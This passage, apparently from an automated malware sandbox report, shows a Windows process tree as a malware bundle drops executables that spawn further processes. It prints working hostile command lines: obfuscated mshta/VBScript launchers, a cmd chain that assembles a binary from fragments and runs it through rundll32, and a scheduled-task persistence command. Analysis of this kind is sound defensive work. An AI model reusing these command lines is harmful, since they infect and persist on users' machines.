                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2664 /prefetch:1
                                                                                                                                                                                                                                                    10⤵
                                                                                                                                                                                                                                                      PID:5320
                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2512 /prefetch:1
                                                                                                                                                                                                                                                      10⤵
                                                                                                                                                                                                                                                        PID:1612
                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3280 /prefetch:2
                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                          PID:6476
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --mojo-platform-channel-handle=1700 /prefetch:8
                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                            PID:5904
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --mojo-platform-channel-handle=3312 /prefetch:8
                                                                                                                                                                                                                                                            10⤵
                                                                                                                                                                                                                                                              PID:668
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --mojo-platform-channel-handle=1788 /prefetch:8
                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                PID:6564
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --mojo-platform-channel-handle=1408 /prefetch:8
                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                  PID:5800
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1672,17221019697053312649,15418448317264553289,131072 --lang=de --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw7084_2037528646" --mojo-platform-channel-handle=2140 /prefetch:8
                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                    PID:6776
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c Mon2083f8d8970a0b2d.exe
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                        PID:3732
                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon2083f8d8970a0b2d.exe
                                                                                                                                                                                                                                                          Mon2083f8d8970a0b2d.exe
                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                          PID:1600
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /c Mon209c830507d573.exe
                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                          PID:1664
                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209c830507d573.exe
                                                                                                                                                                                                                                                            Mon209c830507d573.exe
                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                            PID:2548
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209c830507d573.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209c830507d573.exe
                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                              PID:1452
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209c830507d573.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209c830507d573.exe
                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                PID:4268
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209c830507d573.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon209c830507d573.exe
                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                PID:4852
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c Mon206d48916f93c5.exe
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                            PID:1612
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                            C:\Windows\system32\cmd.exe /c Mon203f01ac7e6.exe
                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                              PID:3404
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon203f01ac7e6.exe
                                                                                                                                                                                                                                                                Mon203f01ac7e6.exe
                                                                                                                                                                                                                                                                5⤵
                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                PID:1272
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                  "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon203f01ac7e6.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon203f01ac7e6.exe"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                    PID:908
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon203f01ac7e6.exe" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon203f01ac7e6.exe" ) do taskkill /F -Im "%~NxU"
                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                        PID:1840
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\09xU.exE
                                                                                                                                                                                                                                                                          09xU.EXE -pPtzyIkqLZoCarb5ew
                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                          PID:2444
                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                            "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ( "CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" ) do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
                                                                                                                                                                                                                                                                            9⤵
                                                                                                                                                                                                                                                                              PID:1616
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE" ) do taskkill /F -Im "%~NxU"
                                                                                                                                                                                                                                                                                10⤵
                                                                                                                                                                                                                                                                                  PID:2656
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " , 0 ,TRuE ) )
                                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                                                                                PID:4236
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
                                                                                                                                                                                                                                                                                  10⤵
                                                                                                                                                                                                                                                                                    PID:5172
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" eCHO "
                                                                                                                                                                                                                                                                                      11⤵
                                                                                                                                                                                                                                                                                        PID:5656
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
                                                                                                                                                                                                                                                                                        11⤵
                                                                                                                                                                                                                                                                                          PID:1192
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\control.exe
                                                                                                                                                                                                                                                                                          control .\R6f7sE.I
                                                                                                                                                                                                                                                                                          11⤵
                                                                                                                                                                                                                                                                                            PID:6360
                                                                                                                                                                                                                                                                                            • C:\Windows\svchost.com
                                                                                                                                                                                                                                                                                              "C:\Windows\svchost.com" "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL .\R6f7sE.I
                                                                                                                                                                                                                                                                                              12⤵
                                                                                                                                                                                                                                                                                                PID:4788
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\system32\rundll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
                                                                                                                                                                                                                                                                                                  13⤵
                                                                                                                                                                                                                                                                                                    PID:6772
                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\RunDll32.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL .\R6f7sE.I
                                                                                                                                                                                                                                                                                                      14⤵
                                                                                                                                                                                                                                                                                                        PID:6460
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 .\R6f7sE.I
                                                                                                                                                                                                                                                                                                          15⤵
                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                          PID:5164
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                            taskkill /F -Im "Mon203f01ac7e6.exe"
                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                            • Kills process with taskkill
                                                                                                                                                                                                                                                                                            PID:2500
                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /c Mon204014f13870f5e.exe
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                    • Suspicious use of WriteProcessMemory
                                                                                                                                                                                                                                                                                    PID:1360
                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon204014f13870f5e.exe
                                                                                                                                                                                                                                                                                      Mon204014f13870f5e.exe
                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                                                                      • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                      PID:2844
                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\7zSC612D5E5\Mon206d48916f93c5.exe
                                                                                                                                                                                                                                                                              Mon206d48916f93c5.exe
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                              PID:2008
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\8398873.scr
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\8398873.scr" /S
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                                                PID:3148
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\6287858.scr
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\6287858.scr" /S
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                PID:4732
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\2414429.scr
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\2414429.scr" /S
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                                                                                                                                PID:4840
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                                                                                  PID:4408
                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\1856566.scr
                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Roaming\1856566.scr" /S
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                PID:4964
                                                                                                                                                                                                                                                                            • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                              • Process spawned unexpected child process
                                                                                                                                                                                                                                                                              PID:4972
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                  PID:3500
                                                                                                                                                                                                                                                                              • C:\PROGRA~2\Company\NEWPRO~1\cutm3.exe
                                                                                                                                                                                                                                                                                C:\PROGRA~2\Company\NEWPRO~1\cutm3.exe
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                PID:5336
                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                C:\Windows\System32\mshta.exe VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\Gr4eZrAr42g89a8V0ayXlZXp.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\Gr4eZrAr42g89a8V0ayXlZXp.exe"" ) do taskkill -im ""%~NxK"" -F ,0, trUE ) )
                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                  PID:5660
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Roaming\SERVIC~1.EXE
                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Roaming\SERVIC~1.EXE
                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                    PID:5704
                                                                                                                                                                                                                                                                                    • C:\Windows\svchost.com
                                                                                                                                                                                                                                                                                      "C:\Windows\svchost.com" "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                        PID:6200
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                          C:\Windows\System32\cmd.exe /c schtasks /create /f /sc onlogon /rl highest /tn services64 /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                            PID:7144
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                                                              schtasks /create /f /sc onlogon /rl highest /tn services64 /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                                                                                                                                                              PID:5164
                                                                                                                                                                                                                                                                                      • C:\PROGRA~2\Company\NEWPRO~1\inst3.exe
                                                                                                                                                                                                                                                                                        C:\PROGRA~2\Company\NEWPRO~1\inst3.exe
                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                          PID:5652
                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\C923.exe
                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\C923.exe
                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                            PID:6400
                                                                                                                                                                                                                                                                                          • C:\Windows\system32\rundll32.exe
                                                                                                                                                                                                                                                                                            rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Process spawned unexpected child process
                                                                                                                                                                                                                                                                                            PID:2884
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                              rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                PID:1400
                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\509F.exe
                                                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\509F.exe
                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                PID:4684
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\5C87.exe
                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\5C87.exe
                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                  PID:4844
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\7168.exe
                                                                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\7168.exe
                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                    PID:3172
                                                                                                                                                                                                                                                                                                    • C:\Windows\svchost.com
                                                                                                                                                                                                                                                                                                      "C:\Windows\svchost.com" "C:\Users\Admin\AppData\Local\Temp\603C03~1\sqtvvs.exe"
                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                        PID:4348
                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\603C03~1\sqtvvs.exe
                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\603C03~1\sqtvvs.exe
                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                            PID:4148
                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                          PID:5712
                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\browser_broker.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:5116
                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\A143.exe
                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\A143.exe
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                            • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                            • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                                            • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                            PID:1908
                                                                                                                                                                                                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                              PID:3884
                                                                                                                                                                                                                                                                                                            • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                              "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                PID:5800
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\msiexec.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\system32\msiexec.exe /V
                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                  PID:6444
                                                                                                                                                                                                                                                                                                                  • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\syswow64\MsiExec.exe -Embedding 35221444C32C65D8F93C719B22287BD8 C
                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                      PID:2772
                                                                                                                                                                                                                                                                                                                    • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\syswow64\MsiExec.exe -Embedding 331653C84191BD60A7029B9895964EE4
                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                        PID:5036
                                                                                                                                                                                                                                                                                                                        • C:\Windows\svchost.com
                                                                                                                                                                                                                                                                                                                          "C:\Windows\svchost.com" "C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f
                                                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                                                            PID:6156
                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\taskkill.exe /im AdvancedWindowsManager* /f
                                                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                                              • Kills process with taskkill
                                                                                                                                                                                                                                                                                                                              PID:2608
                                                                                                                                                                                                                                                                                                                        • C:\Windows\syswow64\MsiExec.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\syswow64\MsiExec.exe -Embedding FEB56B413563AD7DD67F05154731ACEB E Global\MSI0000
                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                          • Blocklisted process makes network request
                                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                          • Checks BIOS information in registry
                                                                                                                                                                                                                                                                                                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                                                                                                                                                                                                                                                                          PID:1840
                                                                                                                                                                                                                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                          PID:3584
                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\rundll32.exe
